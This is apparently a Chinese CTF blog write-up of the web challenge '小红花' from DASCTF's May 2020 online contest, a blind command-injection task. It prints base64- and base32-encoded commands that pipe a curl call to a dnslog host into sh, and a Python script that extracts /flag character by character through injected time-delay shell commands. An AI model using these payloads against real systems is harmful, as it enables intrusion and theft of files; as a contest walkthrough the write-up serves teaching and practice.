2020年DASCTF五月线上赛-WEB-小红花

小红花

很明显是命令执行,但肯定有过滤.

首先看函数shell_exec他会执行系统命令,并把执行结果返回出来。但看提示似乎没有把返回结果打印测试后也证实了这个想法。

image-20200523110918694

那么就首先尝试外带了。

dnslog外带-失败

尝试过以后payload都没有成功。听别人说之前有人成功过是因为非预期后来再进行尝试就没有成功了。

echo Y3VybCBibC50ZXN0LmRuc2xvZy5saW5rIA==|base64 -d |sh
echo MN2XE3BAMJWC45DFON2C4ZDOONWG6ZZONRUW42ZA |base32 -d |sh

image-20200523111340360

盲注

暂且叫这个名字吧。通过if语句来判断字符正确如正确则延时,通过时间来判断字符。和sql盲注一个意思。

import requests
import string
import urllib.parse
import time
char = string.digits+string.ascii_letters
char += "{}-_"


result = ""

for n in range(1,40):

	for i in char:
		payload = "if [ `cut -c {} /flag` = \"{}\" ];then sleep 7;fi".format(n,i)
		paylaod = urllib.parse.quote(payload)
		url = "http://183.129.189.60:10069/?imagin={}".format(payload)
		# print(url)
		# print(url)
		# try:
		start = time.time()
		try:
			html = requests.get(url,timeout=8).text
			
			#print(start)
			
			if html:
				if int(time.time())-int(start) >5:
					result += i
		except:
			print(n,i)
	print(result)



		# print(html)
		# except:
		#     print(i)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值